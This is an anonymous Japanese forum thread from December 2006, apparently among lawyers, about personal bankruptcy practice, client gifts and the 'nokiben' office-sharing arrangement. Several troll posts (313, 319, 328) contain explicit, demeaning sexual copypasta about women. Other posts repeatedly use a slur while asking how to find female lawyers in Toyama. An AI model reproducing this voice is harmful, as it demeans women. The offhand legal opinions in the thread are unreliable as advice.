224 :210、223:2006/12/14(木) 20:13:57 ID:NCWX2T9K
>>211
同感の志士がおられて、感激しました。
日本の弁護士界(会ではない!)もまだ捨てたものじゃないですね。

225 :無責任な名無しさん:2006/12/14(木) 21:43:42 ID:m1ME6YBc
無理して贈り物を買ってくれたら感激が増すかな?
俺には分からない感覚だな。

ちなみに,俺がうれしいと思うのは,
実刑で刑務所に行った奴から手紙・葉書がくること。
殺人で服役してる奴が,被害者の命日に,毎年,
反省の言葉をつづった葉書を送ってくれたこともある。

これまでに一度だけ出所後に挨拶に来てくれた奴がいるが,
このときもうれしかったな。たまたま外出してたんで
会えなかったけど。

226 :無責任な名無しさん:2006/12/14(木) 22:33:47 ID:s7Mz7VHW
>210を読んだ限り(準公務だからという感覚だろうか、などと書いている)、
倫理規定も知らない若造かと思ったよw

それが即懲戒事由になるわけでないにしろ、少なくとも、名目のいかんを問わず
報酬を受け取るべきでないという規定について、菓子折り一つだって受け取る
べきでないという意見があるのは誰しも知ってること。
それなのに、自分は菓子折りもらってるなんて、胸張って言うことじゃないだろ。
「本当は受け取ってはいけないんですけどね・・」なんて言いつつ受け取るなんて、
賄賂渡さないとちゃんと働いてくれない弁護士みたいで反吐が出るね。

227 :無責任な名無しさん:2006/12/14(木) 23:43:40 ID:GMTRiM6k
ロー制度の廃止で困る人を俺の周りであげてみた。

1、院生の就職先のポストが減り弟子を放りこめなくなって困る教授様。
 
2、文科省も役人が視察に来たときに、駅から徒歩10分の我が校まで
 わざわざタクシーを大量に呼び(なぜなら勿論詰めて乗るなどしないで
 1人乗ったら「はい、次!」みたいに1人1台ずつ乗せる。)しかも
 帰りまで大学内の敷地やその周辺にずっと待たせられるので「良い稼ぎに
 なるからもっとたくさん来てくれないですかねぇ」と言っていたタクシー
 の運転手さん。
3、「今月もお金が余っちゃったんでプリンター入れておきましたから」
 と言って3人しかいない助手室に5台目のプリンターがやって来たり、
 7台のパソコンや、コンセントに差し込まれないままの2つのテレビに、
 1年以上も箱に入ったままの3つのデジカメ(あと他に文科省の役人の
 視察の様子を撮るために必要?との名目で買ったのが3台ね。)などを
 いつも買ってるヨドバシカメラ。
4、そしていつもそのヨドバシに買いに行って「貯まったポイントでMacと
 地デジ買えちゃいました^^v」と屈託のない笑顔で語ってくれた
  M女史。
5、その金で飲み食いのおこぼれにあずかる俺。

「はっきり言うがロー制度っていうのは100パーセント利権の話だ!」
BY2005公法学会での安念さんの発表での発言。

因みにそのときその場にいた佐藤幸治は苦笑いしてた。

228 :無責任な名無しさん:2006/12/15(金) 00:29:38 ID:YnzA8tYg
>>223
個人の破産は引き直しはしないのですか。
ま、場合によるんでしょうけど。

俺国選で菓子折持ってきても平気で返すね。
すごいもの持ってこられたらうろたえて受け取ってしまう危険も否定できないけど、菓子折べつに欲しくないし。

ただ
被告人の高齢の母さん(かなり貧しい人)が、お金もないのにがんばって菓子折買ってきて、
このくらいのお礼しかできなくって申し訳ないがどうか受け取って欲しい、と泣きながら言ったときには、
これを断るとお母さんお気持ちを踏みにじりまくりで人間失格、くらいの感じがして、断り切れず受け取った
と言う話を聞いたことがある。


229 :無責任な名無しさん:2006/12/15(金) 07:18:08 ID:mcB0Umq6
これまでの発言からすると,>>223氏はど素人に近い人間だと思われるが。

>事業者、会社(零細・小規模)でも、最長6ヶ月内で申し立て済み

これなんかモロど素人発言だろ。
本当は事業者の破産申立のほうが
急がなきゃならないのにね。

230 :無責任な名無しさん:2006/12/15(金) 08:59:29 ID:k8dJ12Ns
>>229
どうでもいい貶しあいで興味ないが、確かに、事業者の破産が6ケ月以内というのは
理解できない。不自然だね。法人の方が早くきちんと書類を揃えるから逆に申立て早いんだがね・・・

231 :無責任な名無しさん:2006/12/15(金) 09:34:22 ID:mPNlfS1H
自然人の破産は受任から最低1ヶ月は家計簿つけさせるから,1ヶ月以内に申立をすることはありえないな〜。
保険の解約返戻金証明書なんかも,貰ってこいと言ってもなかなか貰ってこないし。

232 :無責任な名無しさん:2006/12/15(金) 09:52:09 ID:pcZxusnd
まあ,過払いにも留意しない,引き直しもしない,家計の状況も適当に
付けといてという,旧態依然としたおじいちゃん弁ならありうるんじゃないか?
本人としては,「迅速な」事務処理にマンゾク。

233 :無責任な名無しさん:2006/12/15(金) 11:30:57 ID:dT6Jg07c
破産の場合にも引き直し計算を強制する裁判所って多いの?
うちは違うけど。

234 :無責任な名無しさん:2006/12/15(金) 11:34:28 ID:/dja+v9f
修習生の時,指導担当が「弁護士倫理は常に変動しているから,
倫理研修はできるだけ受けておけ」と言ってたな。
昔の基準で「これはOKだろう」と安直に考えると痛い目にあう。



235 :無責任な名無しさん:2006/12/15(金) 12:35:42 ID:PGqxVdYs
引き直し計算を要求するかどうかは裁判官によるようだ
引き直し計算をすれば破産する状況にならないかもしれないので,
厳密に言えば要求するのが筋だと思う

236 :無責任な名無しさん:2006/12/15(金) 12:46:55 ID:rNRAZmy7
司法書士の破産申立事件の管財人やったら、過払金が900万円出た。
数百万単位の解約返戻金のある保険を破産財団から外して、満額配当して、
残りは600万円。管財人報酬は190万円。残りはなんと破産者に返還。

貴兄らのご意見拝聴いたしたく。
(司法書士の悪口はいいです。聞き飽きてるので)

237 :無責任な名無しさん:2006/12/15(金) 12:51:54 ID:PGqxVdYs
以前管財人候補者になったときにそもそも破産状況にないと思われたので,
申立代理人にそれとなく再考するよう求めたら,
申立を取り下げてきた。
やはり二回試験留保組にはそれなりの理由があるんだね。
裁判所もちゃんと仕事をして欲しいと思う。
無駄に手間をかけて空しかった。

238 :236:2006/12/15(金) 13:24:40 ID:rNRAZmy7
>>237
私は、その司法書士に、破産する必要ないよって言ったけど、その司法書士が
自分は過払いやったことがないからっていって、取り下げなかったんですよ。
あなたは私のこと言ってるんじゃないのかもしれませんが。

239 :無責任な名無しさん:2006/12/15(金) 13:29:52 ID:PGqxVdYs
私の場合は所有不動産でおつりが来る場合
記録をさっと見ればわかるはずだから,裁判所もどうかしてると思う

240 :無責任な名無しさん:2006/12/15(金) 13:36:04 ID:JTdaG9gS
すぐ換価できなければ「支払不能」という判断もあながち間違いとはいえなかろう。

241 :無責任な名無しさん:2006/12/15(金) 14:16:40 ID:5DioypDh
名古屋は、破産申立の全件で引きなおし計算を求めてると聞いたな。

242 :無責任な名無しさん:2006/12/15(金) 15:10:41 ID:xI+gp4GR
今、日弁連から来た、「1人事務所」云々という
パンフレットを読んでたんだけど、イソ弁雇って
大失敗2パーセントというのがすごいね。
何があったんだろう。

243 :無責任な名無しさん:2006/12/15(金) 15:47:12 ID:dT6Jg07c
うちにもたった今来たw

送り状には「ノキ弁」の解説付き。

「ノキ弁」という呼称は,ややもするとマイナスイメージもありますが,今回ご紹介した「ノキ弁」の実例では,「軒」を「貸す」弁護士と「借りる」弁護士が互いに独立性を保ちつつ協力し合い,双方にメリットをもたらすシステムになっています。
このシステムにふさわしい呼称が定着されることを期待しながらご参考までに紹介します。


ノキ弁まで必死にアピールするなんて,なんて必死な・・・
よっぽど修習生の就職口が無いんだな。
こんなパンフ送ってこられても残念ながらイソ弁・ノキ弁を採る気なんぞ全然起きないがw


244 :無責任な名無しさん:2006/12/15(金) 16:05:02 ID:PGqxVdYs
法曹界の未来のためにも採ってはいけません

245 :無責任な名無しさん:2006/12/15(金) 16:08:05 ID:YnzA8tYg
>>236
司法書士に対する損害賠償請求権はどう取り扱いました?

246 :無責任な名無しさん:2006/12/15(金) 16:09:40 ID:YnzA8tYg
>>233
>>241
裁判所がどういうかではなく、債務者のために計算しませんかねえ
借金が新しいんだったらともかく

247 :無責任な名無しさん:2006/12/15(金) 16:27:51 ID:JTdaG9gS
>>245
満額配当だから破産者本人が行使できるんじゃないの?

248 :無責任な名無しさん:2006/12/15(金) 16:42:42 ID:dT6Jg07c
>>246
引き直しが債務者のためにならない場合があります。

249 :無責任な名無しさん:2006/12/15(金) 18:11:55 ID:UlR00bhu
引き直しの結果、中途半端に債務が残ると確かに困るね。
免責不許可の可能性も財産もないから、とにかく破産で片づけたいという
本人の意向だけど、パートで多少収入があるとか、派遣社員でそれなりの
収入があるとかで、引き直し後の残債務が100万ちょっととかw

250 :無責任な名無しさん:2006/12/15(金) 18:37:03 ID:TE8QKpAL
過払いでおつりが来そうな場合のみ計算して
そうでない場合はそのまま出せばよい


251 :無責任な名無しさん:2006/12/15(金) 19:35:25 ID:83ML62w3
過払いが出るのに、引き直さないでそのまま処理したら懲戒請求の対象になるの?

252 :無責任な名無しさん:2006/12/15(金) 19:45:41 ID:YnzA8tYg
>>248
>>249
100万ちょっとだったら、俺は破産させないけどね

私のところでは300万ないと破産させてもらえないんですが、皿の請求額で破産の申し立てするのは残債200程度ある時ですね

253 :無責任な名無しさん:2006/12/15(金) 19:46:13 ID:YnzA8tYg
>>250
そうそう

254 :無責任な名無しさん:2006/12/15(金) 21:20:05 ID:TE8QKpAL
>>24
「イソ弁に入って大失敗」ならその10倍以上あるだろう

255 :無責任な名無しさん:2006/12/15(金) 21:21:05 ID:jVliU5Bj
>>252
自己破産・同時廃止・免責→支払額0円
破産回避→債務返済・分割払 3年間計100万円

依頼者がどちらを求めるかですね。

破産申立却下←全件抗告です。
 なぜ、地裁の破産担当裁判官1人の独善的な専権に流されてるの。
 当地では、裁判官が変わる度に皆さん方(書記官も弁護士も)右往左往しているよ。
研修所時代からの裁判官はエライ、
を引きずってきているの?

256 :無責任な名無しさん:2006/12/15(金) 21:21:24 ID:TE8QKpAL
↑ >>242 の間違い

257 :休憩中 ◆tr.t4dJfuU :2006/12/15(金) 21:47:23 ID:wZ31MmIU
高裁の方が甘いのは確かですな。>免責
法の運用からすれば今のゆるゆるの流れは「破産しなきゃ損」
住宅ローンもってりゃ「個再申し立てなきゃ損」
って状態なのも問題と思う。
名古屋の運用はむしろ範とすべきものではないか,と。

管財人になったときに引直し計算をしなきゃならないのは申立人の着手金及び成功報酬
を七割よこせって思う。少額管財なら特に。

258 :無責任な名無しさん:2006/12/16(土) 14:47:18 ID:FaVafVwv
選挙,選挙って非常にうるさい。
客と打合せしてるのに「ちょっとだけでも挨拶を」と言われて
選挙のお願いをしてくる弁護士もいる。
自民党の政治家のことガタガタ言えないだろうに。
選挙運動で本来の業務が阻害されるなんて本末転倒。
国政でも戸別訪問とか禁止されてるだろうに,止めてほしい。
圧力団体としても弱いくせに,鬱陶しい・・・・

259 :無責任な名無しさん:2006/12/16(土) 14:58:46 ID:sqBrbu94
圧力身につけて合格者数減らしてくれ。
3000人とか勘弁。
1000〜1500人でOK

260 :無責任な名無しさん:2006/12/16(土) 15:18:21 ID:qnHOhwf0
>>255
正直、管財でメシ食っている面がある

261 :無責任な名無しさん:2006/12/16(土) 15:39:38 ID:sqBrbu94
軒弁って受け入れる側のメリットは何?
単なるボランティア?

262 :無責任な名無しさん:2006/12/16(土) 15:59:45 ID:dKkJe3H9
同期や縁のあった辞め検、辞め判に一時的に軒を貸すのは分かる。
でも新人を軒弁にするところなんてあるのかな?
リスクが大きいだけで、メリットはないよね。
使えそうな人材をイソ弁でとって、給料を払って、
その対価としてガンガン働いてもらわないと意味がない。
それ以外の余剰人員はいらんよ。


263 :無責任な名無しさん:2006/12/16(土) 16:03:25 ID:sqBrbu94
でも実際に野詭弁になった奴が
59期で数人いるらしいよ。

264 :無責任な名無しさん:2006/12/16(土) 16:22:17 ID:vLVbuZUW
>>262
給料払わずに安い歩合でこき使ってもいいし,使えなかったらおっぽりだしてもいい,ってことじゃね?
素タップ弁護士の給料も法テラスが持つことになったみたいだし

265 :無責任な名無しさん:2006/12/16(土) 17:45:46 ID:LM1O96HU
必要な人間なら給料を出さないとおかしいし、
不要な人間なら事務所にいられると困る
訳のわからない新人を事務所に置く意味はないだろうな

266 :無責任な名無しさん:2006/12/16(土) 18:07:39 ID:gYIEoJXk
どっちか分からないから、いつでも追い出せる態勢にしておきたいんだろ。
軒弁でもそのうちイソ弁昇格とか追放とかが出ると思われ。

267 :無責任な名無しさん:2006/12/16(土) 18:10:26 ID:LM1O96HU
使用貸借だからいつでも追い出せるってワケか

268 :無責任な名無しさん:2006/12/16(土) 18:48:17 ID:tYTEYPEX
診療報酬の不正指南 東洋大教授に疑い
http://www.asahi.com/edu/news/TKY200612150171.html

この私立大教授、今年の8月に弁護士登録って書いてあるけど、弁護士会の登録拒否処分の
取消を求めて訴訟し、今年の7月に最高裁で日弁連が負けたっていう、あの人だそうだ。

269 :無責任な名無しさん:2006/12/16(土) 19:57:08 ID:2L/yy2fO
なんかイソ弁が正社員で、軒弁は名義貸し歩合給契約社員のような・・・

270 :無責任な名無しさん:2006/12/16(土) 19:59:28 ID:vOJ/MNUI
名板貸ならぬ事務所スペース貸(分譲?)

271 :無責任な名無しさん:2006/12/16(土) 21:52:19 ID:LM1O96HU
軒弁が不祥事起こしたら責任問われるかもしんないから
採らないのが吉と思うよ

272 :無責任な名無しさん:2006/12/16(土) 22:49:02 ID:Y4gvZK/F
上下関係のあるパートナーって感じのノキベン関係もあるんじゃない?

273 :無責任な名無しさん:2006/12/17(日) 01:00:52 ID:kq83M1HV
原則的に委任状に名前は書かないでおいて、投げるときだけ福田入りにするとかな

274 :無責任な名無しさん:2006/12/17(日) 01:01:09 ID:kq83M1HV
福田入りって我ながらなんだよw

275 :無責任な名無しさん:2006/12/17(日) 01:32:02 ID:lq3dwEuc
今回は軒弁の福田先生にも名前を連ねてもらいましょう
って感じか

276 :無責任な名無しさん:2006/12/17(日) 06:04:57 ID:qBJ5al69
http://homepage2.nifty.com/miyazaki-shiho/03/q1.htm
一応貼っておきます。

277 :無責任な名無しさん:2006/12/17(日) 11:31:06 ID:hKqchyWI
軒弁なんてややこしいことしないで、
宅弁で登録させてみんなで仕事を回せばいいじゃん

278 :無責任な名無しさん:2006/12/17(日) 11:42:24 ID:7F8gQL/L
宅弁なんてややこしいことしないで,
登録しなけりゃいいじゃん。

会費が今の水準なら払えない人も出てくるだろうな。

279 :無責任な名無しさん:2006/12/17(日) 11:47:37 ID:/Mz3VJaY
登録してれば仕事なくても「弁護士」だが、
登録しなくて仕事無ければ「ニート」だから

280 :無責任な名無しさん:2006/12/17(日) 11:59:46 ID:hKqchyWI
国選が月2件ぐらい回るようにしてあげれば
生活保護クラスの生活はできるんじゃね?

281 :無責任な名無しさん:2006/12/17(日) 18:49:31 ID:KZrd5b8G
富山のF 元気か?

282 :無責任な名無しさん:2006/12/17(日) 20:27:51 ID:rRdQI/YM
>>281
Tじゃなくて?

283 :MS754 ◆yGUnQdhyV2 :2006/12/17(日) 20:29:15 ID:eo0VkuF7
本日の果物
ミカン 1箱(10s)

累計
イチゴ(あまおう) 12パック リンゴ 16個
洋ナシ 9個  ミカン 6箱(10sが5箱 5kgが1箱)

自宅にまで、ミカンが・・・・・・・。

284 :無責任な名無しさん:2006/12/17(日) 20:30:09 ID:/Mz3VJaY
富山のFって1人じゃないけど
その書き方だと他のFの迷惑になるかと

285 :無責任な名無しさん:2006/12/18(月) 07:48:08 ID:+/FBVHA5
高校時代の話・・・
私の母は昔から体が弱くて、それが理由かは知らないが、
母の作る弁当はお世辞にも華やかとは言えない質素で見映えの悪い物ばかりだった。
友達に見られるのが恥ずかしくて、毎日食堂へ行き、お弁当はゴミ箱へ捨てていた。
ある朝母が嬉しそうに「今日は〇〇の大好きな海老入れといたよ」と私に言ってきた。
私は生返事でそのまま高校へ行き、こっそり中身を確認した。
すると確に海老が入っていたが殻剥きもめちゃくちゃだし
彩りも悪いし、とても食べられなかった。
家に帰ると母は私に「今日の弁当美味しかった?」としつこく尋ねてきた。
私はその時イライラしていたし、いつもの母の弁当に対する鬱憤も溜っていたので
「うるさいな!あんな汚い弁当捨てたよ!もう作らなくていいから」とついきつく言ってしまった。
母は悲しそうに「気付かなくてごめんね…」と言いそれから弁当を作らなくなった。
それから半年後、母は死んだ。私の知らない病気だった。母の遺品を整理していたら、日記が出てきた。
中を見ると弁当のことばかり書いていた。
「手の震えが止まらず上手く卵が焼けない」 日記はあの日で終わっていた。

http://bubble4.2ch.net/test/read.cgi/cafe50/1159922925/



286 :無責任な名無しさん:2006/12/18(月) 08:18:59 ID:HAgM8pu1
>>284
お前が迷惑な存在なのでは?

287 :無責任な名無しさん:2006/12/18(月) 08:57:15 ID:+/FBVHA5
訪英したブッシュ大統領は、サッチャー元首相と会談することとなった。
「マダム。あなたの成功の秘訣を是非お伺いしたいですな」
「あら」鉄の女は言った。「それは優秀な人材を集めることかしら」
「もっともですな」ブッシュは深く頷いた。
「しかし、どうやって優秀かどうかを見分けるかが難しくはありませんか」
「簡単なことよ」サッチャーは答えた。「じゃ、やってみるわよ」
彼女は、ブレア首相に電話した。
「こんにちは。トニー。ちょっとした質問に答えてくれるかしら」
「どんな質問でしょうか。マダム」
「あなたの父上と母上から生まれた子供で、あなたの兄弟でも姉妹でもない人は誰?」
「はっはっは」ブレア首相は笑った。「それは私です」

ブッシュは、ホワイトハウスに戻ると、さっそく、チェイニー大統領補佐官とラムズフェルド国防長官を呼び出して、例の質問をしてみた。
二人は、しどろもどろとなり、緊急の用事を思い出したと言って、いったん大統領の前を辞した。
そして、頭のいいパウエル国務長官を見つけて、例の質問をぶつけてみたのである。
即座にパウエルは「それは私だよ」と答えた。
二人は大統領執務室に戻り、こう言った。
「例のご質問ですが、それはパウエル国務長官ですな」
大統領はひどく落胆した。こんな連中がブレーンでは、次期大統領選は絶望というものではないか。
「どうしようもないな。君たちは」大統領はため息をつきながら言った。
「そんなことも分からないのかね。まったく」
大統領は、二人の愚か者に答えを教えてやることにした。

「答えは、トニー・ブレアだよ」

288 :無責任な名無しさん:2006/12/18(月) 09:14:22 ID:w45xuV0F
富山のクズはこのスレでは迷惑な存在だな

289 :無責任な名無しさん:2006/12/18(月) 12:36:49 ID:exD82TIa
富山ってメス弁護士いるの?
いるんなら、名前の探し方教えて。

290 :無責任な名無しさん:2006/12/18(月) 14:03:13 ID:h8ElHQBm
今月の自由と正義の阿波おどり県の先生勇敢だな・・あるいは単純か?
長男の妻と子からそんな依頼を受けても、真に受けんだろう普通。
何期か知らんが、ロー卒が来るとこんな人も多くなるんだろうな。

291 :無責任な名無しさん:2006/12/18(月) 14:59:20 ID:GM99iYma
登録番号でおおよそのキャリアはわかる
比較的番号の大きい人が増えてるのが最近の傾向

292 :無責任な名無しさん:2006/12/18(月) 15:01:09 ID:K8DFBdoE
うちの地方にはまだ来ない

293 :無責任な名無しさん:2006/12/18(月) 15:18:27 ID:bB7wUY4Z
富山って雌弁護士いるの?
いるんなら、名前の探し方教えて。


294 :無責任な名無しさん:2006/12/18(月) 16:43:59 ID:N0rw48C5
>>290
全然新人じゃないようですw
なので、この件についてロー卒云々を持ち出すのは不適切

295 :無責任な名無しさん:2006/12/18(月) 18:23:45 ID:FKbLsFd3
地検事務官が転落死 自殺か
http://www.sanspo.com/sokuho/1218sokuho032.html


296 :無責任な名無しさん:2006/12/18(月) 18:29:58 ID:3IRs8Z3Q
富山って雌弁護士いるの?
いるんなら、名前の探し方教えて。

297 :無責任な名無しさん:2006/12/18(月) 18:34:37 ID:Z9pne8vf
あんたしつこいよ。

調べりゃわかる事をくどくどと。

それ以前に粘着してるのもあんただろ。

298 :無責任な名無しさん:2006/12/18(月) 19:41:28 ID:ko63l/bN
>698 名前:無責任な名無しさん 投稿日:2006/12/18(月) 19:20:17 y4v8WSsz
>すみません、質問させてください。
>
>私が依頼してる弁護士が、私に関する手続で役所に行きましたが
>すぐ終わると思った手続がちょっとややこしいことがあり、
>手続完了に1日拘束されてしまったそうです。
>
>ところが、同じ日に他の依頼人(Aとします)と、Aの依頼の件で
>裁判所に行く約束をしていたけど私の件のせいで時間が取れず
>キャンセルになったそうです。
>
>するとAは「ドタキャンする弁護士は解任。着手金返せ。」とのこと。
>で弁護士は私に「あなたの件で役所に拘束されたんだかからその着手金はあなたが払え」
>と言ってきました。
>
>質問は以下の3点です。
>(1)弁護士はAに着手金を返さないといけないのか?
>(2)返す場合、それを私が負担しないといけないのか?
>(3)私が負担しない場合「あなたの弁護はおりる」と言い出しそうですが
>  こんな理由で弁護をおりるなんてことはできるのでしょうか?

よろしくお願いします。(なんか、Aの依頼で得られたであろう成功報酬まで
請求されそうな気がします)

299 :無責任な名無しさん:2006/12/18(月) 19:53:36 ID:sy62G56O
今日の自由と正義の勇み足の先生は、登録番号から12年以上前の期の人ですね。それはともかく最近変な書き込みが多いですね。むしむし。

300 :無責任な名無しさん:2006/12/18(月) 20:05:57 ID:fKbISoqj
>298
 レスしてはいけないことはわかってはいるのだが・・・。
 (1)はわからん。
 (2)は、弁護士会の苦情相談窓口に連絡すれば、相手はすぐに黙る。
 (3)は、むしろおりて貰ったほうがよい。但し、着手金は全額帰ってこない可能性あり。
 というわけでお引取りください。

301 :無責任な名無しさん:2006/12/18(月) 20:06:15 ID:1a2glbGv
富山って雌弁護士いるの?
いるんなら、名前の探し方教えて。

302 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/12/18(月) 20:17:26 ID:wQkABVUV
軒弁募集中です。詳細は
http://d.hatena.ne.jp/sanuki-udon/20061019/1161209221
にて。

303 :富山の雌弁護士:2006/12/18(月) 20:45:06 ID:xuGFY++L
いませんが、何か?

304 :無責任な名無しさん:2006/12/18(月) 21:37:18 ID:KBtucgtx
軒弁とパートナーの違いって何よ?
近所に、1年目からパートナー制(2年間は最低保障あり)、
当面は共同受任でという事務所があるけど、軒弁とは違うのかな?


305 :無責任な名無しさん:2006/12/19(火) 00:19:55 ID:spexAHpD
どなたか法律に詳しい人、素人なので教えてくれませんか。
困っています。
刑事事件の被疑者の参考人として、調書を作成するよう警察から言われて、
調書にサインや押印をしなかったら、どうなるんですか?
メリット、デメリットなんかはあるのでしょうか。
黙秘権があると聞いた事があるので。


306 :無責任な名無しさん:2006/12/19(火) 00:25:07 ID:zvO4A23I
行き詰まり先生のとこ,2ちゃんねる法律事務所みたいになりそうだな・・・

307 :無責任な名無しさん:2006/12/19(火) 03:26:18 ID:HvdTYNDI
行き詰まり先生のとこ,最近独立画策中のワタシにとってはモチベーションアップの契機となっています。


308 :無責任な名無しさん:2006/12/19(火) 09:09:52 ID:LbeeVmcV
>>305
>>2をご拝読下さい。

309 :無責任な名無しさん:2006/12/19(火) 09:46:10 ID:XegL3Qd2
「軒弁」って、プライドのかけらも感じられない言葉だね。
誰の造語が知らないが、日弁が平気で使うなんて言語感覚を疑うね。

310 :無責任な名無しさん:2006/12/19(火) 10:20:24 ID:NqN7mwQr
「イソ弁」のほうがもっとプライドないと思うけど,日常化しちゃったね。

311 :無責任な名無しさん:2006/12/19(火) 10:44:45 ID:OcA3Itfp
>>307
どこにあるの?

312 :無責任な名無しさん:2006/12/19(火) 11:00:48 ID:NvYhxxpt
イソ弁(居候弁)の方が、軒弁より聞こえは悪いが、実態はイソ弁の方が
いいんだよな。
軒弁って給料固定で出す必要もないし、合わなかったらいつ出て行って
もらってもいいだろうし、既存のボス弁にとっては楽だ。
ボスが断り切れない嫌な仕事だけ、歩合で2〜3割渡してやらせとけばいい。
変な奴だったら、全然仕事は回さず、本当に軒だけ貸して、自分で仕事取って
来い、でもうちの顧問先や関係者の事件はやるな、って言っておいて、数ヶ月
経ったら出て行ってもらえば済むんだもんな。
その軒弁が使える奴だったら、今までのイソ弁のように、手足のようにこき使いつつ、
でも歩合制だから給料ほど支払わなくて良く、いずれパートナーになってもらえば
いいんだろうし。
歩合をかなり低くしておけば、独立資金も貯まらないから、優秀な軒弁を居残らせ
やすいもんね。

313 :無責任な名無しさん:2006/12/19(火) 11:50:37 ID:3zQyEsgm
小学生:好きだった子はクラスで目立っていた奴にバレンタインにチョコを渡し、
     ファーストキスをしていた。
中学生:好きだった子は高校合格後、家庭教師に処女をささげていたとき、
     僕は親父に「そんな高校行っても二流止まりだな。」と怒られていた。
高校生:夏祭り、花火大会で浴衣姿のあの子が彼氏とセックスをしていたとき、
     僕は夏期講習で必死だった。
大学生:気になっていた子が昼間からアパートでセックス、彼氏と汗だくで
     抱きあっていたとき、僕はバイトで怒られて冷や汗を流していた。
大学院:やっと仲良くなった子が、連日のセックスと彼氏からの愛の囁き、
     身も心も充実した生活を送っているとき、
     連日の徹夜実験と教授の罵倒、学位論文の執筆で肉体的にも精神的にも限界だった。

そして僕は、弛みきった身体の三十路前の女と見合いをすることになった。


そして残飯嫁に月3万のこずかいをもらってきょうも朝から満員電車



314 :無責任な名無しさん:2006/12/19(火) 12:26:05 ID:XegL3Qd2
>>310
そうかなぁ。イソ弁だと、前提に師弟関係や徒弟関係があって、師匠が新人を責任を持って一人前
教育してやるという意味を含んでいるように思うが。
野棄弁だと、単に金のない弁に場所を貸してあげるだけという使用貸借のように聞こえるが。

315 :無責任な名無しさん:2006/12/19(火) 12:58:59 ID:isn1mRVW
>>313
はやく人生やり直し機を開発して欲しい

316 :無責任な名無しさん:2006/12/19(火) 14:12:05 ID:HfwtRO7A
>>313
自分の柔軟性のなさをいいわけにして女をけなすなよ。

317 :無責任な名無しさん:2006/12/19(火) 15:59:22 ID:ntmNdm1S
コピペに反応してると余計荒らされるお

318 :無責任な名無しさん:2006/12/19(火) 16:21:23 ID:3zQyEsgm
>>315
そもそもそんな機械があったら弁護士になんかならないな

>>316
なにマジレスしてるのw

319 :無責任な名無しさん:2006/12/19(火) 16:23:27 ID:3zQyEsgm
あなたの奥さんは処女でしたか?
妻の上を通り過ぎて行った幾人もの男たち。
太いチ○ポを入れられ、男の背中に手を廻し悶えていた。
アナルまで見せながら尻を掴まれバックで犯されていた。そうは思いませんか?
あなたがキスをした奥さんの口唇・舌は他のチ○ポを舐め回していた汚れた口唇。
奥さんにセックスを仕込んだ男たちのことを考えると
胸が熱くなりませんか?興奮しませんか?

あなたの奥さんは、あなたと出会った時に既に中古品でした。
これは、あなたの奥さんの処女膜を破った男のみならず、
あなたが奥さんに出会う前にあなたの奥さんを抱いた他の男たちのすべてが
あなたが、あなたの奥さんを初めて抱いた時よりも良い状態の奥さんの肉体を
弄んでいたのです。
あなたと出会う前より若かった時の状態の良い肉体を他の男達が弄んでいたのです。
あなたは、その何人もの男たちに調教され、その男たちの唾液や汗や精液を体細胞に浸透させられ、
しかも老化が既に進行してしまっていた中古女を奥さんに貰ったのです。
ひょっとしたら、中絶も経験しているかもしれません。
あなたの奥さんは、他の男の子供を体内に宿していたのかもしれないのです。
あなたは、一人の男として、悔しくありませんか?
一生の伴侶である妻が中古女であった事を。
悔しさで胸が張り裂けそうになりませんか?

あなたは、それでも、今の奥さんを愛せますか?


320 :無責任な名無しさん:2006/12/19(火) 16:49:23 ID:lUnjFra3
>>319
どーてー坊やの妄想か?
大人は皆平気だよ

321 :無責任な名無しさん:2006/12/19(火) 17:57:51 ID:3zQyEsgm
>>320
なにマジレスしてるのw

322 :無責任な名無しさん:2006/12/19(火) 18:18:34 ID:lUnjFra3
>>321
マジレスしてあげれば喜ぶかと思ってね
まじなんだろう?

323 :無責任な名無しさん:2006/12/19(火) 18:26:24 ID:04FD6LB4
マジレスすると、弁護士はごく一部の例外を除いてみんな
処女嫁持ちですが。

324 :無責任な名無しさん:2006/12/19(火) 19:21:48 ID:+NS4VOs2
>>312
日弁が「のきべん」を契約形態として紹介しているのは,
そういうふうに,雇用者側の利益が大きいので,皆さんもぜひどうぞ〜
という趣旨だと思うよ。

325 :無責任な名無しさん:2006/12/19(火) 20:07:01 ID:3zQyEsgm
>>322
私女ですけどw

326 :無責任な名無しさん:2006/12/19(火) 20:18:48 ID:lUnjFra3
>>325
まじだ

327 :無責任な名無しさん:2006/12/20(水) 03:36:41 ID:5zLwGOzb
法テラス マジヤバス

http://headlines.yahoo.co.jp/hl?a=20061218-00000169-mailo-l31

328 :無責任な名無しさん:2006/12/20(水) 03:53:31 ID:DomTkl/K
先日、昔の彼女が結婚した。

ピルを飲ませて、500回くらい中出しした相手だ。
勿論、顔射も50回くらいはしたし、口内発射も100回以上だ。
アナルも開発した。
しかも俺は極太で、俺より大きい奴はかなり少ないだろう。
そんな巨根で突きまくられてた女だ。

正直、ダンナがかわいそうになった。

329 :無責任な名無しさん:2006/12/20(水) 08:15:58 ID:mwPoNyhn
富山のF 元気か?

330 :無責任な名無しさん:2006/12/20(水) 08:50:03 ID:vkGF9OHH
巨大企業から訴えられた場合になどに備え、いい弁護士を選ぶ方法 - GIGAZINE
ttp://gigazine.net/index.php?/news/comments/20061220_lawyer/

331 :無責任な名無しさん:2006/12/20(水) 09:46:38 ID:qLliA5p6
>330
なんじゃこれ?受験生が書いてるの?非常に受験生的な弁護士の見方。

332 :無責任な名無しさん:2006/12/20(水) 09:58:48 ID:wBZiVLeU
>>330
受験歴聞く客なんて,絶対受けねーw

333 :無責任な名無しさん:2006/12/20(水) 10:39:50 ID:8u9w3Kr2
>330
これはひどい。

334 :無責任な名無しさん:2006/12/20(水) 11:40:25 ID:6RgZk4+F
飛び込みの客は,事務員が先に用件を聞く。
そこで受験歴教えれ,なんて言われて弁護士に
取り次ぐはずがない。

335 :無責任な名無しさん:2006/12/20(水) 11:52:46 ID:e1oLIk3o
弁護士の先生方
Wikipediaの「弁護士」に加筆修正お願いします。
http://ja.wikipedia.org/wiki/%E5%BC%81%E8%AD%B7%E5%A3%AB
「編集」のタブから誰でも加筆修正できます。

336 :無責任な名無しさん:2006/12/20(水) 14:28:08 ID:O1QPkuR1
例のヤメ判のおばあちゃん先生、やっと裁判官にタチの悪いのがいることに気付いた模様。

337 :無責任な名無しさん:2006/12/20(水) 14:49:32 ID:bWf/tp/P
でも自分とその裁判官とは違う人種であると思っているにちがいない

338 :無責任な名無しさん:2006/12/20(水) 16:04:27 ID:gOOp/NzM
あのおばちゃんは裁判官時代は善良ないい人だったような気がする

339 :無責任な名無しさん:2006/12/20(水) 17:32:51 ID:5YYAbbZI
